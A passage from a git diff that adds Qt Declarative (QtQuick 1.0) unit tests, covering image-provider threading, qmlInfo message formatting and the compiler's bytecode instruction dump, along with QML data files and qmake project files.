+ QString error("file::2:1: QML Image: Failed to get image from provider: " + fileName);
+ QTest::ignoreMessage(QtWarningMsg, error.toUtf8());
+
+ engine.removeImageProvider("test");
+
+ obj->setSource(QUrl(fileName));
+ QCOMPARE(obj->status(), QDeclarativeImage::Error);
+
+ delete obj;
+}
+
+class TestThreadProvider : public QDeclarativeImageProvider
+{
+ public:
+ TestThreadProvider() : QDeclarativeImageProvider(Image), ok(false) {}
+
+ ~TestThreadProvider() {}
+
+ QImage requestImage(const QString &id, QSize *size, const QSize& requestedSize)
+ {
+ mutex.lock();
+ if (!ok)
+ cond.wait(&mutex);
+ mutex.unlock();
+ QVector<int> v;
+ for (int i = 0; i < 10000; i++)
+ v.prepend(i); //do some computation
+ QImage image(50,50, QImage::Format_RGB32);
+ image.fill(QColor(id).rgb());
+ if (size)
+ *size = image.size();
+ if (requestedSize.isValid())
+ image = image.scaled(requestedSize);
+ return image;
+ }
+
+ QWaitCondition cond;
+ QMutex mutex;
+ bool ok;
+};
+
+
+void tst_qdeclarativeimageprovider::threadTest()
+{
+ QDeclarativeEngine engine;
+
+ TestThreadProvider *provider = new TestThreadProvider;
+
+ engine.addImageProvider("test_thread", provider);
+ QVERIFY(engine.imageProvider("test_thread") != 0);
+
+ QString componentStr = "import QtQuick 1.0\nItem { \n"
+ "Image { source: \"image://test_thread/blue\"; asynchronous: true; }\n"
+ "Image { source: \"image://test_thread/red\"; asynchronous: true; }\n"
+ "Image { source: \"image://test_thread/green\"; asynchronous: true; }\n"
+ "Image { source: \"image://test_thread/yellow\"; asynchronous: true; }\n"
+ " }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QObject *obj = component.create();
+ //MUST not deadlock
+ QVERIFY(obj != 0);
+ QList<QDeclarativeImage *> images = obj->findChildren<QDeclarativeImage *>();
+ QCOMPARE(images.count(), 4);
+ QTest::qWait(100);
+ foreach(QDeclarativeImage *img, images) {
+ QCOMPARE(img->status(), QDeclarativeImage::Loading);
+ }
+ provider->ok = true;
+ provider->cond.wakeAll();
+ QTest::qWait(250);
+ foreach(QDeclarativeImage *img, images) {
+ QTRY_VERIFY(img->status() == QDeclarativeImage::Ready);
+ }
+}
+
+
+QTEST_MAIN(tst_qdeclarativeimageprovider)
+
+#include "tst_qdeclarativeimageprovider.moc"
diff --git a/tests/auto/declarative/qdeclarativeinfo/data/NestedObject.qml b/tests/auto/declarative/qdeclarativeinfo/data/NestedObject.qml
new file mode 100644
index 00000000..a2afb610
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeinfo/data/NestedObject.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+QtObject {
+ property variant nested
+
+ nested: QtObject {}
+}
+
diff --git a/tests/auto/declarative/qdeclarativeinfo/data/nestedQmlObject.qml b/tests/auto/declarative/qdeclarativeinfo/data/nestedQmlObject.qml
new file mode 100644
index 00000000..f3516c60
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeinfo/data/nestedQmlObject.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+QtObject {
+ property variant nested
+ nested: NestedObject { }
+ property variant nested2: nested.nested
+}
+
diff --git a/tests/auto/declarative/qdeclarativeinfo/data/qmlObject.qml b/tests/auto/declarative/qdeclarativeinfo/data/qmlObject.qml
new file mode 100644
index 00000000..937cd641
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeinfo/data/qmlObject.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+QtObject {
+ property variant nested
+
+ nested: QtObject {
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeinfo/qdeclarativeinfo.pro b/tests/auto/declarative/qdeclarativeinfo/qdeclarativeinfo.pro
new file mode 100644
index 00000000..423390f1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeinfo/qdeclarativeinfo.pro
@@ -0,0 +1,16 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativeinfo.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativeinfo/tst_qdeclarativeinfo.cpp b/tests/auto/declarative/qdeclarativeinfo/tst_qdeclarativeinfo.cpp
new file mode 100644
index 00000000..11671363
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeinfo/tst_qdeclarativeinfo.cpp
@@ -0,0 +1,208 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qtest.h>
+#include <QDeclarativeEngine>
+#include <QDeclarativeComponent>
+#include <QPushButton>
+#include <QDeclarativeContext>
+#include <qdeclarativeinfo.h>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativeinfo : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativeinfo() {}
+
+private slots:
+ void qmlObject();
+ void nestedQmlObject();
+ void nonQmlObject();
+ void nullObject();
+ void nonQmlContextedObject();
+ void types();
+ void chaining();
+
+private:
+ QDeclarativeEngine engine;
+};
+
+inline QUrl TEST_FILE(const QString &filename)
+{
+ return QUrl::fromLocalFile(QLatin1String(SRCDIR) + QLatin1String("/data/") + filename);
+}
+
+void tst_qdeclarativeinfo::qmlObject()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("qmlObject.qml"));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QString message = component.url().toString() + ":3:1: QML QObject_QML_0: Test Message";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(message));
+ qmlInfo(object) << "Test Message";
+
+ QObject *nested = qvariant_cast<QObject *>(object->property("nested"));
+ QVERIFY(nested != 0);
+
+ message = component.url().toString() + ":6:13: QML QtObject: Second Test Message";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(message));
+ qmlInfo(nested) << "Second Test Message";
+}
+
+void tst_qdeclarativeinfo::nestedQmlObject()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("nestedQmlObject.qml"));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QObject *nested = qvariant_cast<QObject *>(object->property("nested"));
+ QVERIFY(nested != 0);
+ QObject *nested2 = qvariant_cast<QObject *>(object->property("nested2"));
+ QVERIFY(nested2 != 0);
+
+ QString message = component.url().toString() + ":5:13: QML NestedObject: Outer Object";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(message));
+ qmlInfo(nested) << "Outer Object";
+
+ message = TEST_FILE("NestedObject.qml").toString() + ":6:14: QML QtObject: Inner Object";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(message));
+ qmlInfo(nested2) << "Inner Object";
+}
+
+void tst_qdeclarativeinfo::nonQmlObject()
+{
+ QObject object;
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: QML QtObject: Test Message");
+ qmlInfo(&object) << "Test Message";
+
+ QPushButton pbObject;
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: QML QPushButton: Test Message");
+ qmlInfo(&pbObject) << "Test Message";
+}
+
+void tst_qdeclarativeinfo::nullObject()
+{
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: Null Object Test Message");
+ qmlInfo(0) << "Null Object Test Message";
+}
+
+void tst_qdeclarativeinfo::nonQmlContextedObject()
+{
+ QObject object;
+ QDeclarativeContext context(&engine);
+ QDeclarativeEngine::setContextForObject(&object, &context);
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: QML QtObject: Test Message");
+ qmlInfo(&object) << "Test Message";
+}
+
+void tst_qdeclarativeinfo::types()
+{
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: false");
+ qmlInfo(0) << false;
+
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: 1.1");
+ qmlInfo(0) << 1.1;
+
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: 1.2");
+ qmlInfo(0) << 1.2f;
+
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: 15");
+ qmlInfo(0) << 15;
+
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: 'b'");
+ qmlInfo(0) << QChar('b');
+
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: \"Qt\"");
+ qmlInfo(0) << QByteArray("Qt");
+
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: true");
+ qmlInfo(0) << QBool(true);
+
+ //### do we actually want QUrl to show up in the output?
+ //### why the extra space at the end?
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: QUrl(\"http://qt.nokia.com\") ");
+ qmlInfo(0) << QUrl("http://qt.nokia.com");
+
+ //### should this be quoted?
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: hello");
+ qmlInfo(0) << QLatin1String("hello");
+
+ //### should this be quoted?
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: World");
+ QString str("Hello World");
+ QStringRef ref(&str, 6, 5);
+ qmlInfo(0) << ref;
+
+ //### should this be quoted?
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: Quick");
+ qmlInfo(0) << QString ("Quick");
+}
+
+void tst_qdeclarativeinfo::chaining()
+{
+ //### should more of these be automatically inserting spaces?
+ QString str("Hello World");
+ QStringRef ref(&str, 6, 5);
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: false 1.1 1.2 15 hello 'b' QUrl(\"http://qt.nokia.com\") World \"Qt\" true Quick ");
+ qmlInfo(0) << false << ' '
+ << 1.1 << ' '
+ << 1.2f << ' '
+ << 15 << ' '
+ << QLatin1String("hello") << ' '
+ << QChar('b') << ' '
+ << QUrl("http://qt.nokia.com")
+ << ref
+ << QByteArray("Qt")
+ << QBool(true)
+ << QString ("Quick");
+}
+
+QTEST_MAIN(tst_qdeclarativeinfo)
+
+#include "tst_qdeclarativeinfo.moc"
diff --git a/tests/auto/declarative/qdeclarativeinstruction/qdeclarativeinstruction.pro b/tests/auto/declarative/qdeclarativeinstruction/qdeclarativeinstruction.pro
new file mode 100644
index 00000000..c8a48c94
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeinstruction/qdeclarativeinstruction.pro
@@ -0,0 +1,11 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative script
+SOURCES += tst_qdeclarativeinstruction.cpp
+macx:CONFIG -= app_bundle
+
+!symbian: {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp b/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp
new file mode 100644
index 00000000..3537fb28
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp
@@ -0,0 +1,609 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qtest.h>
+#include <private/qdeclarativecompiler_p.h>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativeinstruction : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativeinstruction() {}
+
+private slots:
+ void dump();
+};
+
+static QStringList messages;
+static void msgHandler(QtMsgType, const char *msg)
+{
+ messages << QLatin1String(msg);
+}
+
+void tst_qdeclarativeinstruction::dump()
+{
+ QDeclarativeCompiledData *data = new QDeclarativeCompiledData(0);
+ {
+ QDeclarativeInstruction i;
+ i.line = 0;
+ i.type = QDeclarativeInstruction::Init;
+ i.init.bindingsSize = 0;
+ i.init.parserStatusSize = 3;
+ i.init.contextCache = -1;
+ i.init.compiledBinding = -1;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeCompiledData::TypeReference ref;
+ ref.className = "Test";
+ data->types << ref;
+
+ QDeclarativeInstruction i;
+ i.line = 1;
+ i.type = QDeclarativeInstruction::CreateObject;
+ i.create.type = 0;
+ i.create.data = -1;
+ i.create.bindingBits = -1;
+ i.create.column = 10;
+ data->bytecode << i;
+ }
+
+ {
+ data->primitives << "testId";
+
+ QDeclarativeInstruction i;
+ i.line = 2;
+ i.type = QDeclarativeInstruction::SetId;
+ i.setId.value = data->primitives.count() - 1;
+ i.setId.index = 0;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 3;
+ i.type = QDeclarativeInstruction::SetDefault;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 4;
+ i.type = QDeclarativeInstruction::CreateComponent;
+ i.createComponent.count = 3;
+ i.createComponent.column = 4;
+ i.createComponent.endLine = 14;
+ i.createComponent.metaObject = 0;
+
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 5;
+ i.type = QDeclarativeInstruction::StoreMetaObject;
+ i.storeMeta.data = 3;
+ i.storeMeta.aliasData = 6;
+ i.storeMeta.propertyCache = 7;
+
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 6;
+ i.type = QDeclarativeInstruction::StoreFloat;
+ i.storeFloat.propertyIndex = 3;
+ i.storeFloat.value = 11.3;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 7;
+ i.type = QDeclarativeInstruction::StoreDouble;
+ i.storeDouble.propertyIndex = 4;
+ i.storeDouble.value = 14.8;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 8;
+ i.type = QDeclarativeInstruction::StoreInteger;
+ i.storeInteger.propertyIndex = 5;
+ i.storeInteger.value = 9;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 9;
+ i.type = QDeclarativeInstruction::StoreBool;
+ i.storeBool.propertyIndex = 6;
+ i.storeBool.value = true;
+
+ data->bytecode << i;
+ }
+
+ {
+ data->primitives << "Test String";
+ QDeclarativeInstruction i;
+ i.line = 10;
+ i.type = QDeclarativeInstruction::StoreString;
+ i.storeString.propertyIndex = 7;
+ i.storeString.value = data->primitives.count() - 1;
+ data->bytecode << i;
+ }
+
+ {
+ data->urls << QUrl("http://www.nokia.com");
+ QDeclarativeInstruction i;
+ i.line = 11;
+ i.type = QDeclarativeInstruction::StoreUrl;
+ i.storeUrl.propertyIndex = 8;
+ i.storeUrl.value = data->urls.count() - 1;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 12;
+ i.type = QDeclarativeInstruction::StoreColor;
+ i.storeColor.propertyIndex = 9;
+ i.storeColor.value = 0xFF00FF00;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 13;
+ i.type = QDeclarativeInstruction::StoreDate;
+ i.storeDate.propertyIndex = 10;
+ i.storeDate.value = 9;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 14;
+ i.type = QDeclarativeInstruction::StoreTime;
+ i.storeTime.propertyIndex = 11;
+ i.storeTime.valueIndex = 33;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 15;
+ i.type = QDeclarativeInstruction::StoreDateTime;
+ i.storeDateTime.propertyIndex = 12;
+ i.storeDateTime.valueIndex = 44;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 16;
+ i.type = QDeclarativeInstruction::StorePoint;
+ i.storeRealPair.propertyIndex = 13;
+ i.storeRealPair.valueIndex = 3;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 17;
+ i.type = QDeclarativeInstruction::StorePointF;
+ i.storeRealPair.propertyIndex = 14;
+ i.storeRealPair.valueIndex = 9;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 18;
+ i.type = QDeclarativeInstruction::StoreSize;
+ i.storeRealPair.propertyIndex = 15;
+ i.storeRealPair.valueIndex = 8;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 19;
+ i.type = QDeclarativeInstruction::StoreSizeF;
+ i.storeRealPair.propertyIndex = 16;
+ i.storeRealPair.valueIndex = 99;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 20;
+ i.type = QDeclarativeInstruction::StoreRect;
+ i.storeRect.propertyIndex = 17;
+ i.storeRect.valueIndex = 2;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 21;
+ i.type = QDeclarativeInstruction::StoreRectF;
+ i.storeRect.propertyIndex = 18;
+ i.storeRect.valueIndex = 19;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 22;
+ i.type = QDeclarativeInstruction::StoreVector3D;
+ i.storeVector3D.propertyIndex = 19;
+ i.storeVector3D.valueIndex = 9;
+ data->bytecode << i;
+ }
+
+ {
+ data->primitives << "color(1, 1, 1, 1)";
+ QDeclarativeInstruction i;
+ i.line = 23;
+ i.type = QDeclarativeInstruction::StoreVariant;
+ i.storeString.propertyIndex = 20;
+ i.storeString.value = data->primitives.count() - 1;
+
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 24;
+ i.type = QDeclarativeInstruction::StoreObject;
+ i.storeObject.propertyIndex = 21;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 25;
+ i.type = QDeclarativeInstruction::StoreVariantObject;
+ i.storeObject.propertyIndex = 22;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 26;
+ i.type = QDeclarativeInstruction::StoreInterface;
+ i.storeObject.propertyIndex = 23;
+ data->bytecode << i;
+ }
+
+ {
+ data->primitives << "console.log(1921)";
+
+ QDeclarativeInstruction i;
+ i.line = 27;
+ i.type = QDeclarativeInstruction::StoreSignal;
+ i.storeSignal.signalIndex = 2;
+ i.storeSignal.value = data->primitives.count() - 1;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 29;
+ i.type = QDeclarativeInstruction::StoreScriptString;
+ i.storeScriptString.propertyIndex = 24;
+ i.storeScriptString.value = 3;
+ i.storeScriptString.scope = 1;
+ data->bytecode << i;
+ }
+
+ {
+ data->datas << "mySignal";
+
+ QDeclarativeInstruction i;
+ i.line = 30;
+ i.type = QDeclarativeInstruction::AssignSignalObject;
+ i.assignSignalObject.signal = 0;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 31;
+ i.type = QDeclarativeInstruction::AssignCustomType;
+ i.assignCustomType.propertyIndex = 25;
+ i.assignCustomType.valueIndex = 4;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 32;
+ i.type = QDeclarativeInstruction::StoreBinding;
+ i.assignBinding.property = 26;
+ i.assignBinding.value = 3;
+ i.assignBinding.context = 2;
+ i.assignBinding.owner = 0;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 33;
+ i.type = QDeclarativeInstruction::StoreCompiledBinding;
+ i.assignBinding.property = 27;
+ i.assignBinding.value = 2;
+ i.assignBinding.context = 4;
+ i.assignBinding.owner = 0;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 34;
+ i.type = QDeclarativeInstruction::StoreValueSource;
+ i.assignValueSource.property = 29;
+ i.assignValueSource.owner = 1;
+ i.assignValueSource.castValue = 4;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 35;
+ i.type = QDeclarativeInstruction::StoreValueInterceptor;
+ i.assignValueInterceptor.property = 30;
+ i.assignValueInterceptor.owner = 2;
+ i.assignValueInterceptor.castValue = -4;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 36;
+ i.type = QDeclarativeInstruction::BeginObject;
+ i.begin.castValue = 4;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 38;
+ i.type = QDeclarativeInstruction::StoreObjectQList;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 39;
+ i.type = QDeclarativeInstruction::AssignObjectList;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 40;
+ i.type = QDeclarativeInstruction::FetchAttached;
+ i.fetchAttached.id = 23;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 42;
+ i.type = QDeclarativeInstruction::FetchQList;
+ i.fetch.property = 32;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 43;
+ i.type = QDeclarativeInstruction::FetchObject;
+ i.fetch.property = 33;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 44;
+ i.type = QDeclarativeInstruction::FetchValueType;
+ i.fetchValue.property = 34;
+ i.fetchValue.type = 6;
+ i.fetchValue.bindingSkipList = 7;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 45;
+ i.type = QDeclarativeInstruction::PopFetchedObject;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 46;
+ i.type = QDeclarativeInstruction::PopQList;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 47;
+ i.type = QDeclarativeInstruction::PopValueType;
+ i.fetchValue.property = 35;
+ i.fetchValue.type = 8;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 48;
+ i.type = QDeclarativeInstruction::Defer;
+ i.defer.deferCount = 7;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = -1;
+ i.type = QDeclarativeInstruction::Defer;
+ i.defer.deferCount = 7;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 48;
+ i.type = QDeclarativeInstruction::StoreImportedScript;
+ i.storeScript.value = 2;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 50;
+ i.type = (QDeclarativeInstruction::Type)(1234); // Non-existent
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 51;
+ i.type = QDeclarativeInstruction::StoreVariantInteger;
+ i.storeInteger.value = 11;
+ i.storeInteger.propertyIndex = 32;
+ data->bytecode << i;
+ }
+
+ {
+ QDeclarativeInstruction i;
+ i.line = 52;
+ i.type = QDeclarativeInstruction::StoreVariantDouble;
+ i.storeDouble.value = 33.7;
+ i.storeDouble.propertyIndex = 19;
+ data->bytecode << i;
+ }
+
+ QStringList expect;
+ expect
+ << "Index\tLine\tOperation\t\tData1\tData2\tData3\tComments"
+ << "-------------------------------------------------------------------------------"
+ << "0\t\t0\tINIT\t\t\t0\t3\t-1\t-1"
+ << "1\t\t1\tCREATE\t\t\t0\t-1\t\t\"Test\""
+ << "2\t\t2\tSETID\t\t\t0\t\t\t\"testId\""
+ << "3\t\t3\tSET_DEFAULT"
+ << "4\t\t4\tCREATE_COMPONENT\t3"
+ << "5\t\t5\tSTORE_META\t\t3"
+ << "6\t\t6\tSTORE_FLOAT\t\t3\t11.3"
+ << "7\t\t7\tSTORE_DOUBLE\t\t4\t14.8"
+ << "8\t\t8\tSTORE_INTEGER\t\t5\t9"
+ << "9\t\t9\tSTORE_BOOL\t\t6\ttrue"
+ << "10\t\t10\tSTORE_STRING\t\t7\t1\t\t\"Test String\""
+ << "11\t\t11\tSTORE_URL\t\t8\t0\t\tQUrl(\"http://www.nokia.com\") "
+ << "12\t\t12\tSTORE_COLOR\t\t9\t\t\t\"ff00ff00\""
+ << "13\t\t13\tSTORE_DATE\t\t10\t9"
+ << "14\t\t14\tSTORE_TIME\t\t11\t33"
+ << "15\t\t15\tSTORE_DATETIME\t\t12\t44"
+ << "16\t\t16\tSTORE_POINT\t\t13\t3"
+ << "17\t\t17\tSTORE_POINTF\t\t14\t9"
+ << "18\t\t18\tSTORE_SIZE\t\t15\t8"
+ << "19\t\t19\tSTORE_SIZEF\t\t16\t99"
+ << "20\t\t20\tSTORE_RECT\t\t17\t2"
+ << "21\t\t21\tSTORE_RECTF\t\t18\t19"
+ << "22\t\t22\tSTORE_VECTOR3D\t\t19\t9"
+ << "23\t\t23\tSTORE_VARIANT\t\t20\t2\t\t\"color(1, 1, 1, 1)\""
+ << "24\t\t24\tSTORE_OBJECT\t\t21"
+ << "25\t\t25\tSTORE_VARIANT_OBJECT\t22"
+ << "26\t\t26\tSTORE_INTERFACE\t\t23"
+ << "27\t\t27\tSTORE_SIGNAL\t\t2\t3\t\t\"console.log(1921)\""
+ << "28\t\t29\tSTORE_SCRIPT_STRING\t24\t3\t1"
+ << "29\t\t30\tASSIGN_SIGNAL_OBJECT\t0\t\t\t\"mySignal\""
+ << "30\t\t31\tASSIGN_CUSTOMTYPE\t25\t4"
+ << "31\t\t32\tSTORE_BINDING\t26\t3\t2"
+ << "32\t\t33\tSTORE_COMPILED_BINDING\t27\t2\t4"
+ << "33\t\t34\tSTORE_VALUE_SOURCE\t29\t4"
+ << "34\t\t35\tSTORE_VALUE_INTERCEPTOR\t30\t-4"
+ << "35\t\t36\tBEGIN\t\t\t4"
+ << "36\t\t38\tSTORE_OBJECT_QLIST"
+ << "37\t\t39\tASSIGN_OBJECT_LIST"
+ << "38\t\t40\tFETCH_ATTACHED\t\t23"
+ << "39\t\t42\tFETCH_QLIST\t\t32"
+ << "40\t\t43\tFETCH\t\t\t33"
+ << "41\t\t44\tFETCH_VALUE\t\t34\t6\t7"
+ << "42\t\t45\tPOP"
+ << "43\t\t46\tPOP_QLIST"
+ << "44\t\t47\tPOP_VALUE\t\t35\t8"
+ << "45\t\t48\tDEFER\t\t\t7"
+ << "46\t\tNA\tDEFER\t\t\t7"
+ << "47\t\t48\tSTORE_IMPORTED_SCRIPT\t2"
+ << "48\t\t50\tXXX UNKNOWN INSTRUCTION\t1234"
+ << "49\t\t51\tSTORE_VARIANT_INTEGER\t\t32\t11"
+ << "50\t\t52\tSTORE_VARIANT_DOUBLE\t\t19\t33.7"
+ << "-------------------------------------------------------------------------------";
+
+ messages = QStringList();
+ QtMsgHandler old = qInstallMsgHandler(msgHandler);
+ data->dumpInstructions();
+ qInstallMsgHandler(old);
+
+ QCOMPARE(messages.count(), expect.count());
+ for (int ii = 0; ii < messages.count(); ++ii) {
+ QCOMPARE(messages.at(ii), expect.at(ii));
+ }
+
+ data->release();
+}
+
+QTEST_MAIN(tst_qdeclarativeinstruction)
+
+#include "tst_qdeclarativeinstruction.moc"
diff --git a/tests/auto/declarative/qdeclarativeitem/data/childrenProperty.qml b/tests/auto/declarative/qdeclarativeitem/data/childrenProperty.qml
new file mode 100644
index 00000000..fab23675
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeitem/data/childrenProperty.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+Item {
+ id: root
+
+ property bool test1: root.children.length == 3
